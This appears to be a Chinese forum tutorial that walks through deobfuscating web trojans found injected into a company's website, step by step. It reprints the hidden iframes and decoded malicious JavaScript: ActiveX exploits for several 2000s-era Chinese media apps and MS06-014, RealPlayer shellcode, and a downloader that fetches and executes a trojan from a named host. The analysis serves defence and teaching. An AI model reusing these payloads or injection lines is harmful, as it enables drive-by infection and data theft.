改一改 掀起网马的红盖头网马解密实战（一）
写在前面：
1,建议在看解密实战之前务必先看看以下的帖子内容
(
轻轻松松解密各种网页木马
)
(
我是一只小菜鸟怎么飞也飞不高——网页脚本解密初探
)
(
网页解密常见漏洞快查
)
2,解密的毕竟是网页木马 注意安全哦
第一步，发现目标网址：
http://www.it.thtf.com.cn/ （清华同方应用信息系统本部）
第二步，获取目标网页的源代码如下有省略
复制内容到剪贴板
代码:
<iframe src=http://a.wacsy.com/d.htm?id=009 width=100 height=0></iframe>
<iframe src=http://www.shijiediyi.net/one/hao2.htm?27391 width=0 height=0></iframe><Script language="javascript">
function checklogin()
{
if (loginform.user.value=="")
alert("此处为模板，不能从这里登录！");
else if(loginform.pwd.value=="")
alert("此处为模板，不能从这里登录！");
else
{
alert("此处为模板，不能从这里登录！");
//loginform.submit();
loginform.pwd.value="";
}
}
function w_001()
{
alert("此处为模板，不能从这里注册！");
// window.open ("/admin/user/us_register.asp", "用户注册", "top=0,left=0,height=540,width=790,status=yes,toolbar=yes,menubar=yes,location=yes,resizable=yes,scrollbars=yes");
}
</script>
<script LANGUAGE="JavaScript">
function w_return(next){
var keycode = event.keyCode
var realkey = String.fromCharCode(event.keyCode)
if (keycode == 13) {
next.focus()
}
}
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>欢迎访问清华同方应用信息系统本部！</title>
<link href="css/text.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>
</head>
<iframe src=http://xxx.9yimeiyuan.com/xx.htm?id=017 width=0 height=0></iframe>
<td><div align="center"> <p class="graylight9">清华同方应用信息系统本部总机：82399188<br>
清华同方应用信息系统本部 版权所有 2003</p>
</div></td>
</tr>
</table> </td>
</tr>
</table>
</td>
</tr>
</table>
<script language=javascript>
if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime() +24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("<iframe width='1' height='1' src='http://%77%77%77%2e%38%35%31%37%33%33%2e%63%6e/htm/%67%6F%6C%64%69%70.htm?%30%34%35'></iframe>"));}
</script>
<map name="Map">
<area shape="rect" coords="15,21,124,171" href="app/four/1.asp">
<area shape="rect" coords="135,51,244,201" href="app/four/3.asp">
<area shape="rect" coords="255,21,364,171" href="app/four/2.asp">
<area shape="rect" coords="375,41,484,192" href="http://www.ezone.com.cn" target="_blank">
</map>
<div id="img" style="position:absolute;z-index=99;">
<a href="http://www.ezone.com.cn/ezcms/ezcms/Job/index.html" target="_blank"><img src="banner.gif" width="150" height="150" border="0"></a> </div>
<SCRIPT LANGUAGE="JavaScript" src="piao.js">
</script>
</body>
</html>
<SCRIPT language=JavaScript>
// window.open("open.htm","thewindowx","toolbar=no,width=400,height=300,left=100,top=60,status=no,scrollbars=no,resize=no,menubar=no")
</SCRIPT>
<script src=http://%76%63%63%64%2E%63%6E></script><script src=http://%76%63%63%64%2E%63%6E></script><script src=http://%76%63%63%64%2E%63%6E></script><script src=http://%76%63%63%64%2E%63%6E></script>
<iframe src=http://www.ackii.net/dl6.htm?26 width=0 height=0></iframe>
备注：1,可以使用httpdebug之类的协议分析工具获取源代码
2,不怕死，直接IE冲锋，然后查看－－源代码的方式
3,迅雷大才小用，用它下载^_^
第三步，找出可疑的链接
复制内容到剪贴板
代码:
<iframe src=http://a.wacsy.com/d.htm?id=009 width=100 height=0></iframe>
<iframe src=http://www.shijiediyi.net/one/hao2.htm?27391 width=0 height=0></iframe>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<iframe src=http://www.ackii.net/dl6.htm?26 width=0 height=0></iframe> 备注：1,大多数时候你只要看头看尾就能够发现可疑链接
2,关注 <iframe src= width=0 height=0></iframe>
<script src= ></script>
类似以上格式的链接，据有这种特征的最有可能是可疑链接哦
第四步，重复第二步，第三步获取可疑网址的源代码 这里以最后一个为例
复制内容到剪贴板
代码:
<iframe src=news.html width=100 height=0></iframe> ;貌似还要获取一次源代码啊
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1631832.js"></script> ;51统计链接一般是挂马者用来统计有多少小白的，大多数情况下可以不关注，当然出了某些常挂马的统计网站了修改URL 为
http://www.ackii.net/news.html 继续获取我们想要看到的源代码 hoho
复制内容到剪贴板
代码:
<script>
window.defaultStatus="完成";
window.onerror=function(){return true;}
eval("\151\146\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\56\151\156\144\145\170\117\146\50\47\117\113\47\51\75\75\55\61\51\173\15\12\164\162\171\173\166\141\162\40\145\145\145\145\145\145\145\145\73\15\12\166\141\162\40\144\163\142\75\42\113\141\163\160\145\162\163\153\171\42\73\15\12\166\141\162\40\141\144\157\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\134\170\66\146\134\170\66\62\134\170\66\141省略N多^_^\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\40\46\46\40\151\151\151\151\151\151\151\151\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\15\12\173\15\12\154\157\143\141\164\151\157\156\56\162\145\160\154\141\143\145\50\42\141\142\157\165\164\72\142\154\141\156\153\42\51\73\175\15\12\175\175\175")
</script>第五步，开始我们的掀盖头的工作。
1，找关键字 eval document.write 之类的然后进行适当的修改，让加密的源代码自动显示出来
这里我们找到了关键字 eval 进行如下修改，然后保存为解密.htm运行以后得到解密以后的代码
复制内容到剪贴板
代码:
修改关键字
<textarea id="textareaID" rows="50" cols="100"></textarea>
<SCRIPT LANGUAGE="javascript">
document.getElementById("textareaID").innerText=
("\151\146\50\144\157.....省略\142\157\165\164\72\142\154\141\156\153\42\51\73\175\15\12\175\175\175")
</script>复制内容到剪贴板
代码:
解密以后代码
if(document.cookie.indexOf('OK')==-1){
try{var eeeeeeee;
var dsb="Kaspersky";
var ado=(document.createElement("\x6f\x62\x6a\x65\x63\x74"));
var Rising="\x63\x6c\x61\x73\x73\x69\x64";
var KV2008="\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d";
var Kaspersky="\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36";
ado.setAttribute(Rising,Kaspersky);
var as=ado.createobject(KV2008,"")}
catch(eeeeeeee){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+3*60*60*1000);
document.cookie='OK=Yes;path=/;expires='+expires.toGMTString();
if(eeeeeeee!="[object Error]"){
document.write("<script src=http:\/\/user3.1a2b3c0.net\/ms06014.js><\/script>")}
else{
try{var ffffffff;
var ourgame=new ActiveXObject("\x47\x4c\x43\x48\x41\x54\x2e\x47\x4c\x43\x68\x61\x74\x43\x74\x72\x6c\x2e\x31");}
catch(ffffffff){};
finally{if(ffffffff!="[object Error]"){
document.write('<iframe style=display:none src="'">http://user3.1a2b3c0.net/GLWORLD.html"></iframe>')}}
try{var gggggggg;
var storm=new ActiveXObject("\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72");}
catch(gggggggg){};
finally{if(gggggggg!="[object Error]"){
document.write('<iframe style=display:none src="'">http://user3.1a2b3c0.net/StormII.html"></iframe>')}}
try{var hhhhhhhh;
var Real=new ActiveXObject("\x49\x45\x52\x50\x43\x74\x6c\x2e\x49\x45\x52\x50\x43\x74\x6c\x2e\x31");}
catch(hhhhhhhh){};
finally{if(hhhhhhhh!="[object Error]"){
document.write('<sCrIpT LAnGuAgE="jAvAsCrIpT" src=http:\/\/user3.1a2b3c0.net\/real.js><\/script>')}}
try{var iiiiiiii;
var thunder=new ActiveXObject("\x44\x50\x43\x6c\x69\x65\x6e\x74\x2e\x56\x6f\x64");}
catch(iiiiiiii){};
finally{if(iiiiiiii!="[object Error]"){
document.write('<iframe style=display:none src="'">http://user3.1a2b3c0.net/Thunder.html"></iframe>')}}
try{var kkkkkkkk;
var Baidu=new ActiveXObject("\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c");}
catch(kkkkkkkk){};
finally{if(kkkkkkkk!="[object Error]"){
Baidu["\x44\x6c\x6f\x61\x64"+"\x44\x53"]("http://user3.1a2b3c0.net/Baidu.cab", "Baidu.exe", 0)}}
if(ffffffff=="[object Error]" && gggggggg=="[object Error]" && hhhhhhhh=="[object Error]" && iiiiiiii=="[object Error]")
{
location.replace("about:blank");}
}}}备注：常见的改法
2,可以根据加密的特点来直接选择相应的方法来
2.1 进制加密 8进制，10进制，16进制的加密
2.1.1 8进制加密，主要特征是没有一个数字是超过8的比如
\56017\53517\103313 ＝ 小坏蛋
2.1.2 10进制加密，主要特征是没有一个数字是超过10的比如
23567,22351,34507,＝ 小坏蛋
2.1.3 16进制加密，主要特征是没有一个数字是超过F的比如
\5c0f\574f\86cb ＝ 小坏蛋
2.2 escape加密的通常带有关键字unescape以下是加密以后的基本特征
%u5C0F%u574F%u86CB ＝ 小坏蛋
2.3 base64encode 一般加密基本特征
5bCP5Z2P6JuL = 小坏蛋
2.4 其他加密手段
第六步，整理下获得的可以链接，然后逐个来解密
复制内容到剪贴板
代码:
if(eeeeeeee!="[object Error]"){
document.write("<script src=http:\/\/user3.1a2b3c0.net\/ms06014.js><\/script>")}
else{
try{var ffffffff;
var ourgame=new ActiveXObject("GLCHAT.GLChatCtrl.1");}
catch(ffffffff){};
finally{if(ffffffff!="[object Error]"){
document.write('<iframe style=display:none src="'">http://user3.1a2b3c0.net/GLWORLD.html"></iframe>')}}
try{var gggggggg;
var storm=new ActiveXObject("MPS.StormPlayer");}
catch(gggggggg){};
finally{if(gggggggg!="[object Error]"){
document.write('<iframe style=display:none src="'">http://user3.1a2b3c0.net/StormII.html"></iframe>')}}
try{var hhhhhhhh;
var Real=new ActiveXObject("IERPCtl.IERPCtl.1");}
catch(hhhhhhhh){};
finally{if(hhhhhhhh!="[object Error]"){
document.write('<sCrIpT LAnGuAgE="jAvAsCrIpT" src=http:\/\/user3.1a2b3c0.net\/real.js><\/script>')}}
try{var iiiiiiii;
var thunder=new ActiveXObject("DPClient.Vod");}
catch(iiiiiiii){};
finally{if(iiiiiiii!="[object Error]"){
document.write('<iframe style=display:none src="'">http://user3.1a2b3c0.net/Thunder.html"></iframe>')}}
try{var kkkkkkkk;
var Baidu=new ActiveXObject("BaiduBar.Tool");}
catch(kkkkkkkk){};
finally{if(kkkkkkkk!="[object Error]"){
Baidu["Dload"+"DS"]("http://user3.1a2b3c0.net/Baidu.cab", "Baidu.exe", 0)}}
if(ffffffff=="[object Error]" && gggggggg=="[object Error]" && hhhhhhhh=="[object Error]" && iiiiiiii=="[object Error]")
{
location.replace("about:blank");}
}}}
病毒链接：
【百度搜霸的漏洞 】 http://user3.1a2b3c0.net/Baidu.cab
【 迅雷的漏洞 】 http://user3.1a2b3c0.net/Thunder.html
【RealPlay的漏洞 】 http://user3.1a2b3c0.net/real.js
【暴风影音2的漏洞】 http://user3.1a2b3c0.net/StormII.html
【 联众世界漏洞 】 http://user3.1a2b3c0.net/GLWORLD.html
【微软MS06-14漏洞】 http://user3.1a2b3c0.net/ms06014.js1.1 百度搜霸的漏洞，由于已经得到了病毒文件的下载地址不需要解密^_^
1.2 迅雷的漏洞 Thunder.html 貌似已经无法链接了
1.3 RealPlay的漏洞 real.js 按照之前的步骤进行解密
复制内容到剪贴板
代码:
real类网马的网页源代码
function DrWeb()
{
Kaspersky = "RealPlayer";
var user = navigator.userAgent.toLowerCase();
if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)
return;
Kaspersky = "RealPlayer";
if(user.indexOf("nt 5.")==-1)
return;
try
{
Ewido = new ActiveXObject("IERP"+"Ctl.I"+"ERP"+"Ctl.1");
}catch(error)
{
return;
}
Kaspersky = "RealPlayer";
document.cookie = "Cookie2=POPWINDOS;expires="+ Then.toGMTString();
【小坏蛋】Kaspersky = Ewido.PlayerProperty("PRODUCTVERSION");
Kaspersky = "RealPlayer";
AntiSpyware = "";
AntiVir = unescape("ut");
for(i=0;i<32*148;i++)
AntiSpyware += "S";
Kaspersky = "RealPlayer";
if(【小坏蛋】Kaspersky.indexOf("6.0.14.") == -1)
{
if(navigator.userLanguage.toLowerCase() == "zh-cn")
Norton = unescape(""+"?+"`");
else if(navigator.userLanguage.toLowerCase() == "en-us")
Norton = unescape("O"+"q"+"?+"`");
else
return;
}
else if(【小坏蛋】Kaspersky == "6.0.14.544")
Norton = unescape("c"+""+""+"`");
else if(【小坏蛋】Kaspersky == "6.0.14.550")
Norton = unescape("c"+""+""+"`");
else if(【小坏蛋】Kaspersky == "6.0.14.552")
Norton = unescape("y"+"1"+""+"`");
else if(【小坏蛋】Kaspersky == "6.0.14.543")
Norton = unescape("y"+"1"+" "+"`");
else if(【小坏蛋】Kaspersky == "6.0.14.536")
Norton = unescape("Q"+""+"p"+"c");
else
return;
Kaspersky = "RealPlayer";
if(【小坏蛋】Kaspersky.indexOf("6.0.10.") != -1)
{
for(i=0;i<4;i++)
AntiSpyware = AntiSpyware + AntiVir;
AntiSpyware = AntiSpyware + Norton;
}
else if(【小坏蛋】Kaspersky.indexOf("6.0.11.") != -1)
{
for(i=0;i<6;i++)
AntiSpyware = AntiSpyware + AntiVir;
AntiSpyware = AntiSpyware + Norton;
}
else if(【我是小坏蛋】Kaspersky.indexOf("6.0.12.") != -1)
{
for(i=0;i<9;i++)
AntiSpyware = AntiSpyware + AntiVir;
AntiSpyware = AntiSpyware + Norton;
}
else if(【我是小坏蛋】Kaspersky.indexOf("6.0.14.") != -1)
{
for(i=0;i<10;i++)
AntiSpyware = AntiSpyware + AntiVir;
AntiSpyware = AntiSpyware + Norton;
}
Kaspersky = "RealPlayer";
Sunbeltware = "LLLL\XXXXXLD";
VirusChaser ="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoRUPssUQbTs4n6QSQwBPbp3pcTp4npnqu2TToSRPaRKVNqs0spsmPGp";
Kaspersky = "RealPlayer";
FileAdvisor = AntiSpyware + Sunbeltware + VirusChaser;
while(FileAdvisor.length < 0x8000)
FileAdvisor += "Sunbelt";
Ewido["Im"+"port"]("c:\Program Files\NetMeeting\..\..\WINDOWS\Media\chord.wav", FileAdvisor,"", 0, 0);
}分析：
此类网马特征1 RealPlayer
此类网马特征2 new ActiveXObject("IERP"+"Ctl.I"+"ERP"+"Ctl.1")
此类网马特征3 "c:\Program Files\NetMeeting\..\..\WINDOWS\Media\chord.wav"
复制VirusChaser包含的乱码到懒人小G的专用解密工具里解密以后获得下载病毒的链接
结果：
h**p://user3.1a2b3c0.net/bak.css 虽然后缀名是css 其实是个可执行文件
1.4 暴风影音2漏洞 StormII.html 按照之前的步骤进行解密
复制内容到剪贴板
代码:
<SCRIPT>
document.writeln("<script>window.onerror=function(){return true;}<\/script>");
document.writeln("<object classid=\"clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB\" style=\'display:none\' id=\'Kazakh\'><\/object>");
document.writeln("<SCRIPT language=\"javascript\">");
document.writeln("var news01,news02,news03,news04,news05,news06,news07,news08,news09,news10;");
document.writeln("var news11,news12,news13,news14,news15,news16,news17,news18,news19,news20;");
document.writeln("var home01,home02,home03,home04,home05,home06,home0,home1,home2,home3,VirusChaser;");
document.writeln("news02 = unescape(\"%u9090\");\/\/(\"%u602e\"+\"%u4ea8\"%u80c5\"%u57fd%u6728%u8f2c%u4e6f%u2\");");
document.writeln("news03 = unescape(\"%uefe9\");\/\/(\"%u76f6\"+\"%u4e84\"%u68f7\"%u523c%u8817%u6268%u8f16%u2\");");
........省略..........
document.writeln("news07 = unescape(\"%u5e5f\"+\"%ucd8b%u468b%u0324%ud1c3%u03e1%u33c1%u66c9%u088b%u468b%u031c\");");
document.writeln("news08 = unescape(\"%uc1c3\"+\"%u02e1%uc103%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904\");");
document.writeln("news05 = unescape(\"%u738b\"+\"%u8b3c%u1e74%u0378%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157\");");
document.writeln("home3 = news01+news02+news03+news04+news05+news06+news07+news08+news09+news10;");
document.writeln("home2 = news20+news19+news18+news17+news16+news15+news14+news13+news12+news11;");
document.writeln("home1 = home01+home02+home03+home04+home05+home06;");
document.writeln("home0 = unescape(\"%u7468%u7074%u2f3a%u752f%u6573%u3372%u312e%u3261%u3362%u3063%u6e2e%u7465%u622f%u6b61%u632e%u7373\");");
........省略..........
</SCRIPT>分析：
1，clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB 暴风2漏洞的特征clsid值
2, document.writeln 这玩意改什么好呢 ^_^ 其实不需要改只是病毒一种避免被查杀的小把戏分成一段一段的最后还是需要将它们连接起来才能够运行的哦
3，关键字 unescape 我们把代码手工连在一起然后unescape解密一下下^_^
结果：
h**p://user3.1a2b3c0.net/bak.css my God 怎么又是这只啊^_^ 看来接下来的也差不多了
1.5 联众世界漏洞 GLWORLD.html 按照之前的步骤进行解密
分析：
1,采用的方法和上面一只类似"document.writeln＋ unescape”代码就不贴了
2.clsid:61F5C358-60FB-4A23-A312-D2B556620F20 联众世界的特征Clsid值
结果：
当然还是 h**p://user3.1a2b3c0.net/bak.css
1.6 微软MS06-14漏洞 ms06014.js 按照之前的步骤进行解密
复制内容到剪贴板
代码:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n o="\\h\\5\\5\\g\\J\\i\\i\\k\\9\\3\\m\\p\\4\\I\\f\\K\\q\\p\\6\\M\\4\\a\\3\\5\\i\\q\\f\\H\\4\\6\\9\\9";G{n d=w.B("\\r\\e\\6\\m\\7"+"\\9\\7\\t\\5"+"\\4\\A\\r"+"\\D\\F\\l\\l\\E","");d.O("\\Q\\v\\l",o,0);d.W();b.Z=1;b.U();b.V(d.P);R="\\S\\a\\3";j="\\4\\4\\s\\s\\a\\5\\k\\9\\3\\m\\4\\6\\7\\z";b["\\9\\f\\N\\3"+"\\5\\7"+"\\t\\e\\8\\3"](j,2);b["\\6\\8\\7\\9\\3"]();n y=w.C("\\u\\h\\3\\8\\8"+"\\4\\X\\g\\g"+"\\8\\e\\6\\f\\5\\e\\7\\a","");y["\\u\\h\\3\\8\\8"+"\\v\\x\\3\\6\\k\\5\\3"]("\\6\\z\\Y\\4\\3\\x\\3","/c "+j,"","\\7\\g\\3\\a",0)}L(T){}',62,62,'|||x65|x2e|x74|x63|x6f|x6c|x73|x6e|as||xml|x69|x61|x70|x68|x2f|path|x75|x54|x72|var|url|x33|x62|x4d|x5c|x66|x53|x45|ado|x78|shell|x6d|x58|CreateObject|createobject|x4c|x50|x48|try|x6b|x31|x3a|x32|catch|x30|x76|Open|responseBody|x47|Kaspersky|x4f|eeeeeeee|open|write|Send|x41|x64|type'.split('|'),0,{}))分析：
1，关键字eval 按照修改大法 我们选择最后一种修改方法将eval修改为
<textarea id="textareaID" rows="50" cols="100"></textarea>
<SCRIPT LANGUAGE="javascript">
document.getElementById("textareaID").innerText=
记得在代码的后面加上以下标签，然后保存为htm运行得到解密的代码不加得不到解密别怪偶 T_G）
</SCRIPT>
复制内容到剪贴板
代码:
var url="\x68\x74\x74\x70\x3a\x2f\x2f\x75\x73\x65\x72\x33\x2e\x31\x61\x32\x62\x33\x63\x30\x2e\x6e\x65\x74\x2f\x62\x61\x6b\x2e\x63\x73\x73";try{var xml=ado.CreateObject("\x4d\x69\x63\x72\x6f"+"\x73\x6f\x66\x74"+"\x2e\x58\x4d"+"\x4c\x48\x54\x54\x50","");xml.Open("\x47\x45\x54",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);Kaspersky="\x4f\x6e\x65";path="\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d";as["\x73\x61\x76\x65"+"\x74\x6f"+"\x66\x69\x6c\x65"](path,2);as["\x63\x6c\x6f\x73\x65"]();var shell=ado.createobject("\x53\x68\x65\x6c\x6c"+"\x2e\x41\x70\x70"+"\x6c\x69\x63\x61\x74\x69\x6f\x6e","");shell["\x53\x68\x65\x6c\x6c"+"\x45\x78\x65\x63\x75\x74\x65"]("\x63\x6d\x64\x2e\x65\x78\x65","/c "+path,"","\x6f\x70\x65\x6e",0)}catch(eeeeeeee){}
2,\x68\x74\x74\x70\x3a 嘿嘿是不是没有数字超过F的 16进制加密错不了解密吧
复制内容到剪贴板
代码:
var url="http://user3.1a2b3c0.net/bak.css";try{var xml=ado.CreateObject("Micro"+"soft"+".XM"+"LHTTP","");xml.Open("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);Kaspersky="One";path="..\\ntuser.com";as["save"+"to"+"file"](path,2);as["close"]();var shell=ado.createobject("Shell"+".App"+"lication","");shell["Shell"+"Execute"]("cmd.exe","/c "+path,"","open",0)}catch(eeeeeeee){}
3, 这类网马的特征
ado.CreateObject("Micro"+"soft"+".XM"+"LHTTP","")
4.结果出来了吧 ^_^
h**p://user3.1a2b3c0.net/bak.css
第七步，总结一下 ^_^
【百度搜霸的漏洞 】
http://user3.1a2b3c0.net/Baidu.cab
【 迅雷的漏洞 】
http://user3.1a2b3c0.net/Thunder.html
【RealPlay的漏洞 】
http://user3.1a2b3c0.net/real.js
【暴风影音2的漏洞】
http://user3.1a2b3c0.net/StormII.html
【 联众世界漏洞 】
http://user3.1a2b3c0.net/GLWORLD.html
【微软MS06-14漏洞】
http://user3.1a2b3c0.net/ms06014.js
下载的病毒文件
http://user3.1a2b3c0.net/bak.css
金山毒霸2008右键查杀结果
病毒 2008-03-13 13:02:15 C:\bak.css Win32.Troj.OnlineGamesT.90112 跳过，未处理
